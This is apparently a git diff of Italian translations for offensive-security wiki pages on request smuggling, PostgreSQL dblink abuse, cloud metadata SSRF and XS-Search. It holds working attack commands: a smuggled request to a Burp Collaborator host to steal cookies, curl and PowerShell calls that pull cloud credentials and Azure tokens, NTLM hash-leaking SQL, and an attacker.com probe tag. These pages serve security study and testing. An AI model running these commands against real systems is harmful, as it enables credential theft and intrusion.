||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. Crea una richiesta che sovrascriverà il `POST / HTTP/1.1` con i seguenti dati:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie.\
|
||||
3\. La richiesta finale potrebbe apparire come segue
|
||||
3\. La richiesta finale potrebbe apparire come la seguente
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
|
||||
# Network - Privesc, Port Scanner e divulgazione della risposta alla sfida NTLM
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,7 +10,7 @@ CREATE EXTENSION dblink;
|
||||
```
|
||||
Una volta che hai caricato dblink, potresti essere in grado di eseguire alcuni trucchi interessanti:
|
||||
|
||||
### Privilege Escalation
|
||||
### Escalation dei privilegi
|
||||
|
||||
Il file `pg_hba.conf` potrebbe essere configurato male **consentendo connessioni** da **localhost come qualsiasi utente** senza bisogno di conoscere la password. Questo file si trova tipicamente in `/etc/postgresql/12/main/pg_hba.conf` e una configurazione errata appare così:
|
||||
```
|
||||
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
|
||||
```
|
||||
### Port Scanning
|
||||
|
||||
Abusando di `dblink_connect` potresti anche **cercare porte aperte**. Se quella **funzione non funziona, dovresti provare a usare `dblink_connect_u()` poiché la documentazione afferma che `dblink_connect_u()` è identica a `dblink_connect()`, tranne per il fatto che consentirà agli utenti non superuser di connettersi utilizzando qualsiasi metodo di autenticazione\_.
|
||||
Abusando di `dblink_connect` potresti anche **cercare porte aperte**. Se quella **funzione non funziona, dovresti provare a usare `dblink_connect_u()` poiché la documentazione afferma che `dblink_connect_u()` è identica a `dblink_connect()`, tranne per il fatto che consentirà agli utenti non super di connettersi utilizzando qualsiasi metodo di autenticazione\_.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||
port=443
|
||||
@ -73,7 +73,7 @@ Nota che **prima** di poter utilizzare `dblink_connect` o `dblink_connect_u` pot
|
||||
```
|
||||
CREATE extension dblink;
|
||||
```
|
||||
### UNC path - divulgazione dell'hash NTLM
|
||||
### UNC path - NTLM hash disclosure
|
||||
```sql
|
||||
-- can be used to leak hashes to Responder/equivalent
|
||||
CREATE TABLE test();
|
||||
|
||||
@ -77,7 +77,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
||||
```
|
||||
Come esempio di **credenziali IAM disponibili pubblicamente** esposte, puoi visitare: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
Puoi anche controllare le **credenziali di sicurezza EC2 pubbliche** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
Puoi anche controllare le **credenziali di sicurezza EC2** pubbliche in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Puoi quindi prendere **quelle credenziali e usarle con l'AWS CLI**. Questo ti permetterà di fare **qualsiasi cosa a cui quel ruolo ha permessi**.
|
||||
|
||||
@ -88,22 +88,22 @@ aws_access_key_id = ASIA6GG71[...]
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Nota il **aws_session_token**, questo è indispensabile per il funzionamento del profilo.
|
||||
Nota il **aws_session_token**, questo è indispensabile per il profilo per funzionare.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) può essere utilizzato con le credenziali scoperte per scoprire i tuoi privilegi e cercare di elevarli.
|
||||
|
||||
### Credenziali SSRF in AWS ECS (Container Service)
|
||||
|
||||
**ECS** è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce questo per te. Se riesci a compromettere un servizio in esecuzione in **ECS**, i **metadata endpoints cambiano**.
|
||||
**ECS** è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce questo per te. Se riesci a compromettere il servizio in esecuzione in **ECS**, i **metadata endpoints cambiano**.
|
||||
|
||||
Se accedi a _**http://169.254.170.2/v2/credentials/\<GUID>**_ troverai le credenziali della macchina ECS. Ma prima devi **trovare il \<GUID>**. Per trovare il \<GUID> devi leggere la variabile **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** all'interno della macchina.\
|
||||
Potresti essere in grado di leggerlo sfruttando un **Path Traversal** a `file:///proc/self/environ`\
|
||||
L'indirizzo http menzionato dovrebbe darti l'**AccessKey, SecretKey e token**.
|
||||
L'indirizzo http menzionato dovrebbe darti la **AccessKey, SecretKey e token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nota che in **alcuni casi** sarai in grado di accedere ai **metadati dell'istanza EC2** dal container (controlla le limitazioni TTL di IMDSv2 menzionate in precedenza). In questi scenari, dal container potresti accedere sia al ruolo IAM del container che al ruolo IAM dell'EC2.
|
||||
> Nota che in **alcuni casi** sarai in grado di accedere ai **metadati dell'istanza EC2** dal container (controlla le limitazioni TTL di IMDSv2 menzionate in precedenza). In questi scenari, dal container potresti accedere sia al ruolo IAM del container che al ruolo IAM di EC2.
|
||||
|
||||
### SSRF per AWS Lambda
|
||||
|
||||
@ -122,7 +122,7 @@ Inoltre, oltre alle credenziali IAM, le funzioni Lambda hanno anche **dati degli
|
||||
|
||||
### SSRF URL per AWS Elastic Beanstalk
|
||||
|
||||
Recuperiamo `accountId` e `region` dall'API.
|
||||
Recuperiamo l'`accountId` e la `region` dall'API.
|
||||
```
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
||||
```
|
||||
### Cloud Functions
|
||||
|
||||
L'endpoint dei metadati funziona allo stesso modo delle VM, ma senza alcuni endpoint:
|
||||
L'endpoint dei metadati funziona allo stesso modo delle VM ma senza alcuni endpoint:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
@ -299,7 +299,7 @@ done
|
||||
## Digital Ocean
|
||||
|
||||
> [!WARNING]
|
||||
> Non ci sono cose come AWS Roles o GCP service account, quindi non aspettarti di trovare credenziali del bot dei metadati
|
||||
> Non ci sono cose come AWS Roles o GCP service account, quindi non aspettarti di trovare credenziali del bot di metadata
|
||||
|
||||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
@ -325,9 +325,9 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> [!TIP]
|
||||
> Una VM Azure può avere attaccata 1 identità gestita di sistema e diverse identità gestite dall'utente. Questo significa fondamentalmente che puoi **impersonare tutte le identità gestite attaccate a una VM**.
|
||||
>
|
||||
> Per **default**, l'endpoint dei metadati utilizzerà il **MI assegnato al sistema (se presente)**.
|
||||
> Quando richiedi un token di accesso all'endpoint dei metadati, per impostazione predefinita il servizio di metadati utilizzerà l'**identità gestita assegnata al sistema** per generare il token, se esiste un'identità gestita assegnata al sistema. Nel caso ci sia solo **UN' identità gestita assegnata all'utente**, allora questa verrà utilizzata per impostazione predefinita. Tuttavia, nel caso non ci sia un'identità gestita assegnata al sistema e ci siano **più identità gestite assegnate all'utente**, il servizio di metadati restituirà un errore che indica che ci sono più identità gestite e sarà necessario **specificare quale utilizzare**.
|
||||
>
|
||||
> Sfortunatamente non sono riuscito a trovare alcun endpoint dei metadati che indichi tutte le MI attaccate a una VM.
|
||||
> Sfortunatamente non sono riuscito a trovare alcun endpoint di metadati che indichi tutte le MI a cui una VM è attaccata, quindi scoprire tutte le identità gestite assegnate a una VM potrebbe essere un compito difficile da una prospettiva Red Team.
|
||||
>
|
||||
> Pertanto, per trovare tutte le MI attaccate puoi fare:
|
||||
>
|
||||
@ -339,12 +339,12 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - Ottenere **identità attaccate** utilizzando il MI predefinito attaccato nei metadati:
|
||||
> - Ottenere **identità attaccate** utilizzando l'MI attaccata predefinita nei metadati:
|
||||
>
|
||||
> ```bash
|
||||
> export API_VERSION="2021-12-13"
|
||||
>
|
||||
> # Ottieni token dal MI predefinito
|
||||
> # Ottieni token dall'MI predefinita
|
||||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> ```
|
||||
|
||||
> [!CAUTION]
|
||||
> Nelle richieste di token utilizza uno qualsiasi dei parametri `object_id`, `client_id` o `msi_res_id` per indicare l'identità gestita che desideri utilizzare ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Se nessuno, verrà utilizzato il **MI predefinito**.
|
||||
> Nelle richieste di token utilizza uno dei parametri `object_id`, `client_id` o `msi_res_id` per indicare l'identità gestita che desideri utilizzare ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Se nessuno, verrà utilizzata l'**MI predefinita**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http:
|
||||
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
||||
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
||||
|
||||
# Paths
|
||||
## Get management token
|
||||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
|
||||
|
||||
## Get graph token
|
||||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
|
||||
|
||||
## Get vault token
|
||||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
|
||||
|
||||
## Get storage token
|
||||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
|
||||
|
||||
|
||||
# More Paths
|
||||
/metadata/instance?api-version=2017-04-02
|
||||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||||
@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="PS"}}
|
||||
```powershell
|
||||
```bash
|
||||
# Define the API version
|
||||
$API_VERSION = "2019-08-01"
|
||||
|
||||
@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
La documentazione per i servizi di metadata di varie piattaforme è delineata di seguito, evidenziando i metodi attraverso i quali è possibile accedere alle informazioni di configurazione e runtime per le istanze. Ogni piattaforma offre endpoint unici per accedere ai propri servizi di metadata.
|
||||
Documentazione per i servizi di metadata di varie piattaforme è delineata di seguito, evidenziando i metodi attraverso i quali le informazioni di configurazione e runtime per le istanze possono essere accessibili. Ogni piattaforma offre endpoint unici per accedere ai suoi servizi di metadata.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Questo è un riassunto di:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Dai un'occhiata per ulteriori dettagli (immagini prese da lì).
|
||||
**Questo è un riepilogo di:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Dai un'occhiata per ulteriori dettagli (immagini prese da lì).
|
||||
|
||||
## Comprendere Unicode e Normalizzazione
|
||||
|
||||
La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie dei caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:
|
||||
La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie di caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:
|
||||
|
||||
1. **Equivalenza Canonica**: I caratteri sono considerati canonici equivalenti se hanno lo stesso aspetto e significato quando stampati o visualizzati.
|
||||
2. **Equivalenza di Compatibilità**: Una forma più debole di equivalenza in cui i caratteri possono rappresentare lo stesso carattere astratto ma possono essere visualizzati in modo diverso.
|
||||
@ -93,7 +93,7 @@ Nota che, ad esempio, il primo carattere Unicode proposto può essere inviato co
|
||||
|
||||
Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe essere **normalizzando l'URL inviato** ma poi **accedendovi così com'è**.
|
||||
|
||||
Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* consente di **generare variazioni dell'input** per fuzzare il backend. Per ulteriori informazioni, controlla il **github** e questo [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) consente di **generare variazioni dell'input** per fuzzare il backend. Per ulteriori informazioni, controlla il **github** e questo [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## Unicode Overflow
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità nei canali laterali**.
|
||||
XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità di canale laterale**.
|
||||
|
||||
I componenti chiave coinvolti in questo attacco includono:
|
||||
|
||||
@ -19,11 +19,11 @@ I componenti chiave coinvolti in questo attacco includono:
|
||||
|
||||
Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vulnerabile:
|
||||
|
||||
- **Codice di Stato**: Distinguere tra **vari codici di stato della risposta HTTP** cross-origin, come errori del server, errori del client o errori di autenticazione.
|
||||
- **Codice di Stato**: Distinguere tra **vari codici di stato di risposta HTTP** cross-origin, come errori del server, errori del client o errori di autenticazione.
|
||||
- **Utilizzo delle API**: Identificare **l'uso delle Web API** tra le pagine, rivelando se una pagina cross-origin utilizza una specifica Web API JavaScript.
|
||||
- **Reindirizzamenti**: Rilevare navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML.
|
||||
- **Redirect**: Rilevare navigazioni verso pagine diverse, non solo redirect HTTP ma anche quelli attivati da JavaScript o HTML.
|
||||
- **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle sotto-risorse della pagina, come il **numero di frame incorporati** o le discrepanze di dimensione nelle immagini.
|
||||
- **Intestazione HTTP**: Notare la presenza o possibilmente il valore di un **specifico header di risposta HTTP**, inclusi header come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
|
||||
- **Intestazione HTTP**: Notare la presenza o possibilmente il valore di una **specifica intestazione di risposta HTTP**, incluse intestazioni come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
|
||||
- **Tempi**: Notare discrepanze temporali costanti tra i due stati.
|
||||
|
||||
### Metodi di Inclusione
|
||||
@ -31,14 +31,14 @@ Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vu
|
||||
- **Elementi HTML**: L'HTML offre vari elementi per **l'inclusione di risorse cross-origin**, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una compilazione di potenziali elementi HTML per questo scopo può essere trovata su [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Frame**: Elementi come **iframe**, **object** e **embed** possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina **manca di protezione al framing**, JavaScript può accedere all'oggetto finestra della risorsa incapsulata tramite la proprietà contentWindow.
|
||||
- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, eludono le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
|
||||
- **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**Fetch API**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i reindirizzamenti HTTP.
|
||||
- **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**API Fetch**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i redirect HTTP.
|
||||
|
||||
### Tecniche di Leak
|
||||
|
||||
- **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o il fallimento del caricamento delle risorse.
|
||||
- **Messaggi di Errore**: Eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.
|
||||
- **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.
|
||||
- **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia Storia) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
|
||||
- **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia History) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
|
||||
- **Performance API**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.
|
||||
- **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.
|
||||
|
||||
@ -49,7 +49,7 @@ XSinator è uno strumento automatico per **verificare i browser contro diversi n
|
||||
Puoi **accedere allo strumento in** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **XS-Leaks Esclusi**: Abbiamo dovuto escludere gli XS-Leaks che si basano su **service workers** poiché interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere gli XS-Leaks che si basano su misconfigurazioni e bug in una specifica applicazione web**. Ad esempio, misconfigurazioni di Cross-Origin Resource Sharing (CORS), leak di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso gli XS-Leaks basati sul tempo poiché spesso soffrono di essere lenti, rumorosi e imprecisi.
|
||||
> **XS-Leaks Esclusi**: Abbiamo dovuto escludere gli XS-Leaks che si basano su **service workers** poiché interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere gli XS-Leaks che si basano su misconfigurazioni e bug in un'applicazione web specifica**. Ad esempio, misconfigurazioni di Cross-Origin Resource Sharing (CORS), leak di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso gli XS-Leaks basati sul tempo poiché spesso soffrono di essere lenti, rumorosi e imprecisi.
|
||||
|
||||
## **Tecniche Basate sul Tempo**
|
||||
|
||||
@ -75,7 +75,7 @@ xs-search/cookie-bomb-+-onerror-xs-leak.md
|
||||
|
||||
L'esempio di codice tenta di **caricare oggetti script da JS**, ma **altri tag** come oggetti, fogli di stile, immagini, audio potrebbero essere utilizzati. Inoltre, è anche possibile iniettare il **tag direttamente** e dichiarare gli eventi `onload` e `onerror` all'interno del tag (anziché iniettarli da JS).
|
||||
|
||||
Esiste anche una versione di questo attacco senza script:
|
||||
Esiste anche una versione senza script di questo attacco:
|
||||
```html
|
||||
<object data="//example.com/404">
|
||||
<object data="//attacker.com/?error"></object>
|
||||
@ -97,7 +97,7 @@ xs-search/performance.now-example.md
|
||||
|
||||
#### Onload Timing + Forced Heavy Task
|
||||
|
||||
Questa tecnica è simile alla precedente, ma l'**attacker** forzerà anche un'azione per richiedere un **tempo rilevante** quando la **risposta è positiva o negativa** e misurerà quel tempo.
|
||||
Questa tecnica è simile alla precedente, ma l'**attacker** forzerà anche qualche azione per richiedere un **tempo rilevante** quando la **risposta è positiva o negativa** e misurerà quel tempo.
|
||||
|
||||
{{#ref}}
|
||||
xs-search/performance.now-+-force-heavy-task.md
|
||||
@ -121,7 +121,7 @@ Il tempo necessario per recuperare una risorsa può essere misurato utilizzando
|
||||
- **Summary:** L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) può essere utilizzata per misurare quanto tempo ci vuole per eseguire una richiesta. Potrebbero essere utilizzati altri orologi.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
|
||||
È stato osservato che in assenza di [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), il tempo necessario per caricare una pagina e le sue risorse secondarie attraverso la rete può essere misurato da un attaccante. Questa misurazione è tipicamente possibile perché il gestore `onload` di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per bypassare la variabilità introdotta dall'esecuzione degli script, un attaccante potrebbe utilizzare l'attributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) all'interno del `<iframe>`. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete.
|
||||
È stato osservato che in assenza di [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), il tempo necessario per caricare una pagina e le sue risorse secondarie attraverso la rete può essere misurato da un attaccante. Questa misurazione è tipicamente possibile perché il gestore `onload` di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per bypassare la variabilità introdotta dall'esecuzione di script, un attaccante potrebbe utilizzare l'attributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) all'interno del `<iframe>`. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete.
|
||||
```javascript
|
||||
// Example of an iframe with the sandbox attribute
|
||||
<iframe src="example.html" sandbox></iframe>
|
||||
@ -129,14 +129,14 @@ Il tempo necessario per recuperare una risorsa può essere misurato utilizzando
|
||||
### #ID + error + onload
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**:
|
||||
- **Summary**: Se puoi far generare un errore alla pagina quando viene accesso il contenuto corretto e farla caricare correttamente quando viene accesso qualsiasi contenuto, allora puoi creare un ciclo per estrarre tutte le informazioni senza misurare il tempo.
|
||||
- **Summary**: Se riesci a far generare un errore alla pagina quando viene accesso il contenuto corretto e farla caricare correttamente quando viene accesso qualsiasi contenuto, allora puoi creare un ciclo per estrarre tutte le informazioni senza misurare il tempo.
|
||||
- **Code Example**:
|
||||
|
||||
Supponiamo che tu possa **inserire** la **pagina** che ha il **contenuto segreto** **all'interno di un Iframe**.
|
||||
|
||||
Puoi **far cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando un CSRF ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.
|
||||
Puoi **far cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando un CSRF, ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.
|
||||
|
||||
Per esempio:
|
||||
|
||||
@ -147,10 +147,10 @@ Se il primo URL è stato **caricato con successo**, allora, quando **cambi** la
|
||||
|
||||
Poi, puoi **distinguere tra** una pagina **caricata correttamente** o una pagina che ha un **errore** quando viene accesso.
|
||||
|
||||
### Esecuzione Javascript
|
||||
### Javascript Execution
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**:
|
||||
- **Summary:** Se la **pagina** sta **restituendo** il **contenuto sensibile**, **o** un **contenuto** che può essere **controllato** dall'utente. L'utente potrebbe impostare **codice JS valido nel caso negativo**, un **load** per ogni tentativo all'interno dei **`<script>`** tag, quindi nei casi **negativi** il **codice** degli attaccanti viene **eseguito**, e nei casi **affermativi** **niente** verrà eseguito.
|
||||
- **Code Example:**
|
||||
@ -162,7 +162,7 @@ xs-search/javascript-execution-xs-leak.md
|
||||
### CORB - Onerror
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Codice di stato & Intestazioni
|
||||
- **Detectable Difference**: Status Code & Headers
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
